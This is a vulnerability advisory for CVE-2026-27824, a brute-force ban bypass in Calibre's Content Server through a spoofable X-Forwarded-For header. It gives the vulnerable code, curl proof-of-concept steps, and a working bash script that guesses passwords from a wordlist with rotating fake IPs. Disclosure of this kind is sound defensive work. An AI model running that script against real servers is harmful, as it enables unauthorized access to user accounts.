Summary
Discovered a brute-force protection bypass vulnerability in Calibre's Content Server. The ban mechanism derives its key from both remote_addr and the client-controlled X-Forwarded-For header. Since the header is accepted without any validation or trusted-proxy configuration, an attacker can bypass IP-based bans by simply rotating the header value on each request, rendering the --ban-after and --ban-for protections completely ineffective.
CVE ID: CVE-2026-27824
Advisory: GHSA-vhxc-r7v8-2xrw
CWE: CWE-307 — Improper Restriction of Excessive Authentication Attempts, CWE-346 — Origin Validation Error
Affected Versions: Calibre ≤ 9.3.1
Fixed in: Calibre 9.4.0
Vulnerability Details
X-Forwarded-For read without validation
In src/calibre/srv/http_request.py line 343, the header is accepted unconditionally from any client with no check for whether the request arrived through a trusted reverse proxy:
self.forwarded_for = inheaders.get('X-Forwarded-For')
Ban key includes the spoofable header
In src/calibre/srv/auth.py lines 270–273, the ban key is constructed as a tuple of (remote_addr, forwarded_for). Since forwarded_for comes directly from the client-controlled header, changing it produces a different ban key:
def do_http_auth(self, data, endpoint):
ban_key = data.remote_addr, data.forwarded_for # Tuple includes spoofable XFF
if self.ban_list.is_banned(ban_key):
raise HTTPForbidden('Too many login attempts',
log=f'Too many login attempts from: {ban_key if data.forwarded_for else data.remote_addr}')
This means each unique X-Forwarded-For value creates a fresh, unbanned identity:
(127.0.0.1, None)— banned after 3 failures(127.0.0.1, "10.0.0.1")— new key, not banned(127.0.0.1, "10.0.0.2")— new key, not banned
The BanList implementation correctly tracks failures per key, but since the key itself is spoofable, the tracking is meaningless.
Proof of Concept
1. Set up an authenticated server
# Create user database
printf '1\ntestuser\ntestpass123\ntestpass123\nn\n4\n' | \
calibre-server --manage-users --userdb /tmp/calibre-users.db
# Start server with auth and banning (ban after 3 failures, ban for 5 minutes)
calibre-server --port 8091 \
--enable-auth --userdb /tmp/calibre-users.db \
--ban-for 5 --ban-after 3 \
/tmp/calibre-test-library
2. Trigger a ban with 3 failed logins
for i in 1 2 3; do
curl -s -o /dev/null -w "Attempt $i: %{http_code}\n" \
--digest -u testuser:wrongpass http://localhost:8091/
done
# Attempt 1: 401
# Attempt 2: 401
# Attempt 3: 401
3. Confirm the ban is active
curl -s -o /dev/null -w "Banned (even with correct password): %{http_code}\n" \
--digest -u testuser:testpass123 http://localhost:8091/
# Banned (even with correct password): 403
4. Bypass the ban with X-Forwarded-For
curl -s -o /dev/null -w "With XFF bypass: %{http_code}\n" \
-H "X-Forwarded-For: 10.10.10.10" \
--digest -u testuser:testpass123 http://localhost:8091/
# With XFF bypass: 200
The ban is immediately bypassed and authentication succeeds.
5. Automated brute-force with unlimited attempts
#!/bin/bash
TARGET="http://localhost:8091/"
USERNAME="testuser"
COUNTER=0
while IFS= read -r password; do
COUNTER=$((COUNTER + 1))
FAKE_IP="10.$((COUNTER / 65536 % 256)).$((COUNTER / 256 % 256)).$((COUNTER % 256))"
CODE=$(curl -s -o /dev/null -w "%{http_code}" \
-H "X-Forwarded-For: $FAKE_IP" \
--digest -u "$USERNAME:$password" "$TARGET")
if [ "$CODE" = "200" ]; then
echo "[+] Password found: $password (attempt #$COUNTER)"
exit 0
fi
done < /path/to/wordlist.txt
This script makes unlimited login attempts without ever being banned, as each attempt uses a different X-Forwarded-For value.
Impact
- Complete bypass of brute-force protection by rotating the
X-Forwarded-Forheader value on each request - Unlimited password guessing against any user account on exposed Calibre servers
- Username enumeration by observing response differences without being banned
- The
--ban-afterand--ban-foroptions, intended to provide brute-force protection, are rendered completely ineffective